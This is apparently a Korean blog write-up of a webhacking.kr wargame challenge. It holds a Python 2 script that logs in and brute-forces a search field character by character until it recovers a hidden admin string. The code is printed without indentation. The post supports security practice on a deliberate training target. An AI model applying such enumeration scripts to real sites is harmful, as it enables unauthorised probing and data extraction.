import urllib,urllib2,ClientCookie
params = urllib.urlencode({'id':"ID",
'pw':"PW"})
request = urllib2.Request("http://webhacking.kr/index.html", params)
response = ClientCookie.urlopen(request)
data = response.read()
pos = data.find("<!-- http://webhacking.kr/blog.php -->")
ch = ['/', '.', '0', '2', 'a', 'c', 'e', 'f', 'g', 'h', 'l', 'p', 'r', 't', 'w']
#0 2 a c e f g h l p r t w
answer = "w"
#<a href=?read=admin>readme
if pos > 0:
print "Login Failed"
else:
print "Login Success"
for k in range(0, 32):
for i in range(0, 14):
paramsProblem = urllib.urlencode({'search':answer+ch[i]})
print answer+ch[i]
requestProblem = urllib2.Request("http://webhacking.kr/challenge/web/web-33/index.php", paramsProblem)
responseProblem = ClientCookie.urlopen(requestProblem)
dataProblem = responseProblem.read()
posProblem = dataProblem.find("read=admin")
if posProblem > 0:
print ch[i]
answer += ch[i]
break
else:
print "trying : ", ch[i]
print answer
첨부파일을 C:\Python27\Lib\site-packages에 풀어 넣는다.
'Wargame' 카테고리의 다른 글
suninatas.com 8번 문제 풀이 (1) | 2014.09.23 |
---|---|
추천 워게임 사이트 써니나타스 (0) | 2013.04.18 |
webhacking.kr 55번 문제 풀이 (0) | 2013.03.04 |
webhacking.kr 40번 문제 풀이 (6) | 2013.03.04 |
webhaking.kr 2번 문제 풀이 (2) | 2012.12.15 |